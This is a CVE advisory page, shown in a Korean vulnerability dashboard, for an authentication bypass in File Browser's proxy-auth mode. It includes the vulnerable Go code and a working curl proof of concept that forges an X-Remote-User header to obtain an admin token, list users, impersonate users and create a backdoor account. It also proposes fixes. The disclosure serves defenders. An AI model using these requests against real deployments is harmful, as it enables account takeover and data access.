Kestrel
대시보드로 돌아가기
CVE-2026-54089CRITICAL· 9.1MITRENVDGHSA대응게시일: 2026. 06. 25.수정일: 2026. 07. 10.

File Browser: Authentication Bypass via Proxy Auth Header Forgery

Auth

위협 신호 · CVSS · EPSS · KEV

시급 검토· 이론 심각도 Critical
CVSS
9.1critical

이론적 심각도 점수

EPSS
0.4%상위 64.6%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향높음
무결성 영향높음
가용성 영향없음
버전별 점수
CVSS 3.19.1CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

상세 설명

Summary

When FileBrowser is configured with proxy authentication (auth.method=proxy), any unauthenticated attacker who can reach the server directly can impersonate any user - including admin - by sending a single forged HTTP header. No credentials are required. Additionally, specifying a non-existent username causes the server to automatically create a new user account, providing an account creation primitive with no authorization.

This is an already known issue that has been documented in the documentation for several years, but has not been documented as a vulnerability before.

Severity

HIGH - CVSS 3.1: 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)

Affected Component

  • File: auth/proxy.go, lines 21-28
  • CWE: CWE-287 (Improper Authentication), CWE-290 (Authentication Bypass by Spoofing)
  • Affected versions: All versions supporting auth.method=proxy

Prerequisite: Proxy Auth Must Be Enabled

This vulnerability is NOT exploitable on default configuration (auth.method=json). It requires the administrator to have configured proxy authentication mode. However, this is a common production deployment pattern - many organizations run FileBrowser behind a reverse proxy that handles SSO/LDAP/OAuth authentication:

  • nginx + Authelia / Authentik
  • Traefik + OAuth2 Proxy
  • Caddy + forward_auth
  • Apache + mod_auth_ldap

In these setups, the proxy authenticates the user and passes the username via HTTP header (e.g., X-Remote-User). FileBrowser trusts this header to identify the user.

Deployment ScenarioExploitable?
Default install (auth.method=json)No — JSON auth uses password verification
auth.method=proxy + FileBrowser only reachable via proxy (bound to 127.0.0.1 or firewalled)No - attacker cannot reach the server directly
auth.method=proxy + FileBrowser port exposed to networkYes - full admin takeover

The third scenario is common because:

  • Docker containers publish ports to 0.0.0.0 by default (e.g., -p 8085:80)
  • Administrators expose the port for debugging, monitoring, or health checks
  • Cloud deployments may have misconfigured security groups or load balancers
  • Internal networks often lack strict micro-segmentation

The core issue is that the code itself has zero defensive checks — no trusted IP validation, no shared secret, no origin verification. The entire security model relies on network-level isolation, which is fragile and not documented as a hard requirement.

Root Cause

The ProxyAuth.Auth() function unconditionally trusts the value of an HTTP request header (configured via auth.header, e.g. X-Remote-User) to determine the authenticated user's identity. There are three distinct problems in this code:

Problem 1: No Origin Validation

The function reads the header from any HTTP request regardless of source IP. It does not verify that the request originated from a trusted reverse proxy. Any client on the network can set arbitrary HTTP headers.

File: auth/proxy.go, lines 21-28:

text
1func (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) {
2 username := r.Header.Get(a.Header) // <-- reads attacker-controlled header, no origin check
3 user, err := usr.Get(srv.Root, username)
4 if errors.Is(err, fberrors.ErrNotExist) {
5 return a.createUser(usr, setting, srv, username)
6 }
7 return user, err // <-- returns the user object, no password verification
8}

There is no call to verify r.RemoteAddr against a list of trusted proxy IPs, no shared secret validation, and no signature check on the header value.

Problem 2: No Password Verification

Unlike JSON auth (auth/json.go) which validates the password via bcrypt, the proxy auth path returns the user object directly from the database based solely on the header value. The loginHandler in http/auth.go then mints a valid JWT for this user:

File: http/auth.go, lines 121-137:

text
1func loginHandler(tokenExpireTime time.Duration) handleFunc {
2 return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {
3 auther, err := d.store.Auth.Get(d.settings.AuthMethod)
4 // ...
5 user, err := auther.Auth(r, d.store.Users, d.settings, d.server)
6 // No additional verification — if auther.Auth() returns a user, a JWT is minted
7 return printToken(w, r, d, user, tokenExpireTime) // <-- signs and returns JWT
8 }
9}

Problem 3: Automatic User Creation

If the username in the header doesn't exist in the database, createUser() is called unconditionally. This creates a real user account with default permissions, a random locked password, and a home directory:

File: auth/proxy.go, lines 30-63:

text
1func (a ProxyAuth) createUser(usr users.Store, setting *settings.Settings, srv *settings.Server, username string) (*users.User, error) {
2 pwd, err := users.RandomPwd(randomPasswordLength)
3 // ...
4 user := &users.User{
5 Username: username, // <-- attacker-controlled
6 Password: hashedRandomPassword,
7 LockPassword: true,
8 }
9 setting.Defaults.Apply(user) // <-- inherits default permissions (may include execute, create, etc.)
10 // ...
11 err = usr.Save(user) // <-- persisted to database
12 return user, nil
13}

This auto-creation has no opt-in flag — it is always active when proxy auth is enabled.

Complete Attack Flow

text
1Attacker sends: POST /api/login + Header: X-Remote-User: admin
2 |
3loginHandler() |
4 |-> d.store.Auth.Get("proxy") |
5 |-> auther.Auth(r, ...) |
6 |-> ProxyAuth.Auth() |
7 |-> r.Header.Get("X-Remote-User") -> "admin" (attacker-controlled)
8 |-> usr.Get(root, "admin") -> admin user (found in DB)
9 |-> return user, nil -> no password check
10 |-> printToken(w, r, d, user, ...) |
11 |-> jwt.NewWithClaims(HS256, claims{user: admin, perm: {admin: true}})
12 |-> token.SignedString(key) -> valid admin JWT returned to attacker

Proof of Concept

Here is Log testing using Low Privileges Account attacker, get forbidden
Login as low priv user then get the auth token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM"

bash
1root@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \
2 -H "X-Auth: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM"
3403 Forbidden
4root@LAPTOP-VUMRCEKO:~#
5root@LAPTOP-VUMRCEKO:~#
6root@LAPTOP-VUMRCEKO:~# FORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
7 -H "X-Remote-User: admin")
8root@LAPTOP-VUMRCEKO:~#
9root@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \
10 -H "X-Auth: $FORGED_TOKEN" | python3 -m json.tool
11{
12 "signup": false,
13 "hideLoginButton": true,
14 "createUserDir": false,
15 "minimumPasswordLength": 12,
16 "userHomeBasePath": "/users",
17 "defaults": {
18 "scope": ".",
19 "locale": "en",
20 "viewMode": "mosaic",
21 "singleClick": false,
22 "redirectAfterCopyMove": true,
23 "sorting": {
24 "by": "",
25 "asc": false
26 },
27 "perm": {
28 "admin": false,
29 "execute": true,
30 "create": true,
31 "rename": true,
32 "modify": true,
33 "delete": true,
34 "share": true,
35 "download": true
36 },
37 "commands": [],
38 "hideDotfiles": false,
39 "dateFormat": false,
40 "aceEditorTheme": ""
41 },
42 "authMethod": "proxy",
43 "rules": [],
44 "branding": {
45 "name": "",
46 "disableExternal": false,
47 "disableUsedPercentage": false,
48 "files": "",
49 "theme": "",
50 "color": ""
51 },
52 "tus": {
53 "chunkSize": 10485760,
54 "retryCount": 5
55 },
56 "shell": [
57 "/bin/sh",
58 "-c"
59 ],
60 "commands": {
61 "after_copy": [],
62 "after_delete": [],
63 "after_rename": [],
64 "after_save": [],
65 "after_upload": [],
66 "before_copy": [],
67 "before_delete": [],
68 "before_rename": [],
69 "before_save": [],
70 "before_upload": []
71 }
72}
73root@LAPTOP-VUMRCEKO:~#
<img width="1487" height="757" alt="image" src="https://github.com/user-attachments/assets/a777321e-14a4-4720-9f8e-423d5f7cdf74" />

Prerequisites

  • FileBrowser with proxy auth enabled:
    text
    1filebrowser config set --auth.method=proxy --auth.header=X-Remote-User
  • Server is reachable directly (not exclusively behind the reverse proxy)

Step 1: Confirm attacker (non-admin) is blocked

bash
1# Using a legitimate non-admin JWT token:
2curl -s http://localhost:8085/api/settings \
3 -H "X-Auth: <ATTACKER_JWT_TOKEN>"

Result: 403 Forbidden — non-admin users cannot access /api/settings

Step 2: Forge admin identity — no credentials needed

bash
1# Just one header, no password:
2FORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
3 -H "X-Remote-User: admin")
4
5echo "$FORGED_TOKEN"
6# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjoxLC... (608 bytes)

Result: Valid JWT token returned for admin user (ID: 1, perm.admin: true)

Step 3: Access admin-only endpoints with forged token

bash
1# Read full server configuration (admin-only):
2curl -s http://localhost:8085/api/settings \
3 -H "X-Auth: $FORGED_TOKEN"

Result: 200 OK - complete server settings returned:

text
1{
2 "authMethod": "proxy",
3 "shell": ["/bin/sh", "-c"],
4 "signup": false,
5 "defaults": { "perm": { "admin": false, "execute": true, ... } },
6 ...
7}

Step 4: Enumerate all user accounts

bash
1curl -s http://localhost:8085/api/users \
2 -H "X-Auth: $FORGED_TOKEN"

Result: All user accounts with full details (usernames, permissions, scopes, commands)

Step 5: Impersonate any other user

bash
1# Impersonate "testuser" — access their files without knowing their password:
2VICTIM_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
3 -H "X-Remote-User: testuser")
4
5curl -s http://localhost:8085/api/resources/ \
6 -H "X-Auth: $VICTIM_TOKEN"

Result: Full file listing of testuser's scope

Step 6: Auto-create a new user account

bash
1# This username doesn't exist — server creates it automatically:
2NEW_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
3 -H "X-Remote-User: backdoor_account")

Result: New user backdoor_account created in the database with default permissions, JWT returned

Validated Results

Tested against filebrowser/filebrowser:latest Docker image on 2026-03-09:

TestResult
Attacker token (non-admin) -> GET /api/settings403 Forbidden (blocked)
Forged header X-Remote-User: admin -> POST /api/login200 OK — valid admin JWT (608 bytes)
Forged admin token -> GET /api/settings200 OK — full server config returned
Forged admin token -> GET /api/users200 OK — all user accounts listed
Forged header X-Remote-User: testuser200 OK — testuser JWT, files accessible
Forged header X-Remote-User: nonexistent_user200 OK — new user auto-created, JWT returned

Impact

An unauthenticated attacker who can reach the FileBrowser instance directly can:

  1. Full admin takeover — impersonate the admin user and gain complete control
  2. Read all server settings — shell configuration, permissions, branding, rules
  3. Enumerate and impersonate all users — access every user's files without credentials
  4. Create unlimited backdoor accounts — auto-creation generates persistent accounts
  5. Modify server configuration — enable command execution, change shell, alter rules
  6. Chain with other vulnerabilities — gain admin access -> enable shell mode -> achieve RCE

Attack cost: Zero credentials. One HTTP header.

Suggested Remediation

Fix 1: Add trusted proxy IP validation (recommended)

text
1type ProxyAuth struct {
2 Header string `json:"header"`
3 TrustedProxies []string `json:"trustedProxies"` // New: list of trusted proxy IPs/CIDRs
4}
5
6func (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) {
7 // Verify request originates from a trusted reverse proxy
8 clientIP := realip.FromRequest(r)
9 if !a.isTrustedProxy(clientIP) {
10 return nil, fmt.Errorf("proxy auth: request from untrusted source %s", clientIP)
11 }
12
13 username := r.Header.Get(a.Header)
14 if username == "" {
15 return nil, os.ErrPermission
16 }
17
18 user, err := usr.Get(srv.Root, username)
19 if errors.Is(err, fberrors.ErrNotExist) {
20 if a.AutoCreateUsers { // Make opt-in
21 return a.createUser(usr, setting, srv, username)
22 }
23 return nil, os.ErrPermission
24 }
25 return user, err
26}

Fix 2: Make auto-user-creation opt-in

Add a configuration flag auth.proxy.createUsers (default: false) so administrators must explicitly enable automatic account creation.

Fix 3: Documentation warning

Clearly document that when using proxy auth:

  • FileBrowser MUST NOT be directly accessible from untrusted networks
  • Bind to 127.0.0.1 or use firewall rules to ensure only the reverse proxy can reach it
  • The reverse proxy MUST strip/overwrite the configured header from client requests

References

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.